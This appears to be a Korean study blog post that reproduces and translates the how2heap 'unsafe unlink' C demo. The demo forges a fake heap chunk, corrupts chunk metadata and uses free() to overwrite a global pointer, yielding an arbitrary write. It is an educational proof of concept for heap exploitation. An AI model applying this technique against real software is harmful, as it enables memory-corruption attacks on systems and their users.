#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "stdint.h"


uint64_t *chunk0_ptr;

int main()
{
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x80; //we want to be big enough not to use fastbins
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);
}


<global> uint64_t *chunk0_ptr;

Welcome to unsafe unlink 2.0!

Tested in Ubuntu 14.04/16.04 64bit.


This technique can be used when you have a pointer at a known location to a region you can call unlink on.

unlink를 call할수 있는 영역의 알고잇는 위치에 포인터를 가지고 있을 때 이 기술은 사용될 수 있다.


The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.

가장 흔한 시나리오는 overflow되고 global pointer를 가지고 있는 취약한 buffer에서이다. 


int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;


The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

이 연습의 포인트는 임의의 영역에 메모리를 쓰는데 도달하기 위해 free를 전역 변수chunk0_ptr 무너뜨리는데 사용하는 것이다.


chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	


The global chunk0_ptr is at 0x602050, pointing to 0x876420

전역변수 chunk0_ptr은 0x602050(&chunk0_ptr)에 있고 0x876420(chunk0_ptr)을 가리키고 있다.


uint64_t *chunk1_hdr = chunk1_ptr - header_size;


The victim chunk we are going to corrupt is at 0x8764b0(chunk1_ptr)

우리가 무너뜨릴 목표 chunk는 0x8764b0에 있다.


We create a fake chunk inside chunk0.

우리는 가짜 chunk를 chunk0내부에 만든다.


We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.

우리는 가짜 chunk의 'next_free_chunk'(fd)를 &chunk0_ptr 근처를 가리키게 하여 P->fd->bk=P 가 되게한다.

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);


We setup the 'next_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.

우리는 fake청크의 bk를 &chunk0_ptr 옆의 포인터로 세팅함으로써 P->bk->fd를 만든다.


With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) != False

이 setup으로 우리는  (P->fd->bk != P || P->bk->fd != P) != False 의 checking을 통과할 수 있다.

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

Fake chunk fd: 0x602038(chunk0_ptr[2])


Fake chunk bk: 0x602040(chunk0_ptr[3])


We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.

uint64_t *chunk1_hdr = chunk1_ptr - header_size;

We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.

우리는 chunk0의 사이즈(chunk1에 저장되어있는)를 수축시킬 수 있다. 그래서 free는 chunk0이 우리가 위치시킨 fakechunk에 있다고 생각할 것이다. 


It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly

우리의 fake chunk는 정확하게 우리가 알고 있는 포인터에서 시작하고 우리가 그 청크를 수축시킬수 있다는 점이 중요하다

chunk1_hdr[0] = malloc_size;

If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80

만약 우리가 평범한 free된 chunk0를 가졌다면 chunk1.previous_size는 0x90이 될 것이다. 그러나 이것은 새 값 0x80을 가진다


We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

우리는 우리의 fake chunk를 mark한다. chunk1의 'previous_in_use'를 false로 셋팅 함으로써

chunk1_hdr[1] &= ~1;

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.

이제 우리는 chunk1을 free한다 그러면 역통합은 chunk0_ptr을 덮어 쓰며 우리의 fake chunk를 unlink할 것이다. 


You can find the source of the unlink macro at https://sourceware.org/git/?

unlink source의 macro는 다음 링크에서 볼수 있다. 

https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344


free(chunk1_ptr);


At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.

이 포인트에서 우리는 chunk0_ptr을 그자신을 임이의 위치의 포인터로 overwrite하는데 사용할 수 있다.

char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.

chunk0_ptr은 이제 우리가 원하는 곳을 가리킨다. 우리는 이것을 우리의 목표 문자열로 덮어쓸수 있다.


Original value: Hello!~

원래 값 : Hello!~

chunk0_ptr[0] = 0x4141414142424242LL;

New Value: BBBBAAAA�d�



'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap정리]house of spirit  (0) 2016.12.16
[how2heap정리]house of force  (0) 2016.12.15

+ Recent posts